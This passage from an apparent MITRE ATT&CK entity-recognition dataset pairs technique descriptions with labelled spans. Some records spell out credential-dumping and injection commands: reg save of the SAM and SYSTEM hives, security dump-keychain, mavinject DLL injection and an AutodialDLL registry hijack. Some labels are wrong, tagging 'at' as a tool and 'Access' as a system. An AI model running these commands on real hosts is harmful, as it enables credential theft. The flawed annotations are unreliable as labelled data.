"spans": {"SYSTEM: SOHO": [[141, 145]], "SYSTEM: Access": [[226, 232]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.008"}} {"text": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. \n\nMalvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.", "spans": {"TOOL: at": [[1076, 1078]], "TOOL: route": [[1468, 1473]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.008"}} {"text": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069"}} {"text": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1114"}} {"text": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.", "spans": {"SYSTEM: SAM": [[90, 93], [182, 185], [210, 213], [354, 357], [444, 447], [557, 560], [730, 733]], "SYSTEM: Windows Registry": [[155, 171]], "TOOL: gsecdump": [[500, 508]], "TOOL: Mimikatz": [[511, 519]], "SYSTEM: Registry": [[587, 595]], "TOOL: Reg": [[601, 604]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.002"}} {"text": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {"SYSTEM: DNS": [[374, 377]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.002"}} {"text": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "spans": {"SYSTEM: BIOS": [[65, 69], [340, 344]], "SYSTEM: UEFI": [[145, 149]], "SYSTEM: EFI": [[185, 188], [352, 355]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.001"}} {"text": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1594"}} {"text": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts .\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google. In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API . Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "spans": {"TOOL: PowerShell": [[395, 405]], "SYSTEM: Exchange": [[468, 476]], "SYSTEM: Office 365": [[481, 491]], "SYSTEM: Azure": [[504, 509], [724, 729]], "SYSTEM: Google Cloud": [[531, 543]], "SYSTEM: API": [[562, 565], [740, 743], [1170, 1173]], "URL: https://cloudidentity.googleapis.com/v1/groups": [[763, 809]], "ORGANIZATION: Google": [[863, 869]], "SYSTEM: AWS": [[874, 877], [1140, 1143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069.003"}} {"text": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. \n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\n\n\"AutodialDLL\"=\"c:\\temp\\foo.dll\"\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.", "spans": {"SYSTEM: Registry": [[70, 78], [134, 142], [369, 377], [478, 486], [639, 647], [805, 813], [1267, 1275], [1298, 1306], [1850, 1858]], "SYSTEM: Windows": [[307, 314]], "TOOL: PowerShell": [[609, 619]], "TOOL: Reg": [[624, 627]], "SYSTEM: Access": [[629, 635]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.011"}} {"text": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {"SYSTEM: DNS": [[23, 26], [97, 100], [306, 309], [474, 477], [512, 515], [555, 558]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.001"}} {"text": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.003"}} {"text": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "spans": {"SYSTEM: GitHub": [[757, 763], [912, 918], [1124, 1130], [1168, 1174]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195.001"}} {"text": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.", "spans": {"SYSTEM: SSL": [[33, 36], [89, 92], [508, 511], [1208, 1211], [1298, 1301]], "SYSTEM: TLS": [[37, 40], [93, 96], [512, 515], [1212, 1215], [1302, 1305]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.004"}} {"text": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.", "spans": {"SYSTEM: DNS": [[53, 56], [158, 161], [287, 290], [351, 354], [411, 414], [495, 498], [511, 514], [537, 540], [575, 578], [698, 701]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.002"}} {"text": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.\n\nOn network devices, adversaries may wipe configuration files and other data from the device using Network Device CLI commands such as `erase`.", "spans": {"SYSTEM: MBR": [[371, 374]], "SYSTEM: SMB": [[722, 725]], "SYSTEM: Windows": [[726, 733]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1561"}} {"text": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records. DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.", "spans": {"SYSTEM: DNS": [[58, 61], [319, 322], [434, 437], [515, 518], [606, 609], [643, 646], [767, 770], [832, 835], [847, 850], [882, 885], [965, 968], [1009, 1012], [1164, 1167], [1188, 1191]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.004"}} {"text": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. A cloud metadata API has been used in at least one high profile compromise.\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.", "spans": {"SYSTEM: API": [[62, 65], [179, 182], [535, 538], [677, 680], [838, 841], [1136, 1139], [1228, 1231]], "TOOL: at": [[698, 700], [1232, 1234]], "IP_ADDRESS: 169.254.169.254": [[1250, 1265]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.005"}} {"text": "An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization. A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.", "spans": {"ORGANIZATION: Apple": [[614, 619], [741, 746], [865, 870]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.002"}} {"text": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings. Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain or Tenant Policy Modification) for their benefit.", "spans": {"SYSTEM: Group Policy": [[38, 50], [251, 263], [734, 746], [934, 946]], "SYSTEM: Active Directory": [[331, 347]], "TOOL: PowerShell": [[610, 620]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1615"}} {"text": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.", "spans": {"TOOL: at": [[231, 233]], "SYSTEM: BIOS": [[397, 401], [594, 598]], "SYSTEM: MBR": [[456, 459], [498, 501], [801, 804], [875, 878]], "SYSTEM: UEFI": [[1010, 1014], [1210, 1214]], "SYSTEM: EFI": [[1116, 1119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.003"}} {"text": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. \n\nSome adversaries may also use Automated Collection on removable media.", "spans": {"TOOL: cmd": [[340, 343]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1025"}} {"text": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.", "spans": {"ORGANIZATION: Microsoft": [[95, 104], [216, 225], [553, 562]], "SYSTEM: Windows": [[144, 151]], "FILEPATH: C:\\Windows\\system32\\mavinject.exe": [[435, 468]], "TOOL: at": [[1055, 1057]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.013"}} {"text": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.", "spans": {"TOOL: cmd": [[299, 302]], "SYSTEM: Windows Registry": [[511, 527]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1074.001"}} {"text": "Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. \n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.", "spans": {"SYSTEM: Registry": [[79, 87]], "SYSTEM: Windows Registry": [[392, 408]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.005"}} {"text": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.", "spans": {"SYSTEM: SSL": [[35, 38], [91, 94], [667, 670]], "SYSTEM: TLS": [[39, 42], [95, 98], [671, 674]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.003"}} {"text": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {"TOOL: at": [[51, 53]], "SYSTEM: Office": [[357, 363]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1565.001"}} {"text": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices. \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.002"}} {"text": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB. IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.", "spans": {"SYSTEM: Outlook": [[165, 172], [198, 205], [275, 282], [361, 368], [406, 413], [454, 461], [525, 532], [580, 587], [654, 661], [717, 724]], "FILEPATH: C:\\Users\\": [[624, 633], [673, 682]], "ORGANIZATION: Microsoft": [[707, 716]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1114.001"}} {"text": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.", "spans": {"SYSTEM: macOS": [[90, 95], [1410, 1415]], "ORGANIZATION: Apple": [[619, 624]], "SYSTEM: Access": [[701, 707]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.001"}} {"text": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon. These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "spans": {"SYSTEM: Windows Registry": [[490, 506]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547"}} {"text": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.\n\nReg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.", "spans": {"TOOL: at": [[247, 249]], "TOOL: Reg": [[352, 355]], "SYSTEM: Registry": [[388, 396]], "TOOL: Mimikatz": [[398, 406]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.004"}} {"text": "Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. \n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System Image, Reduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.", "spans": {"SYSTEM: Access": [[1008, 1014]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1600"}} {"text": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.\n\nAn adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.", "spans": {"SYSTEM: Active Directory": [[774, 790]], "SYSTEM: Access": [[934, 940]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1606.002"}} {"text": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.", "spans": {"SYSTEM: PHP": [[1161, 1164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.008"}} {"text": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible. In some cases, adversaries may stop or disable many or all services to render systems unusable. Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi 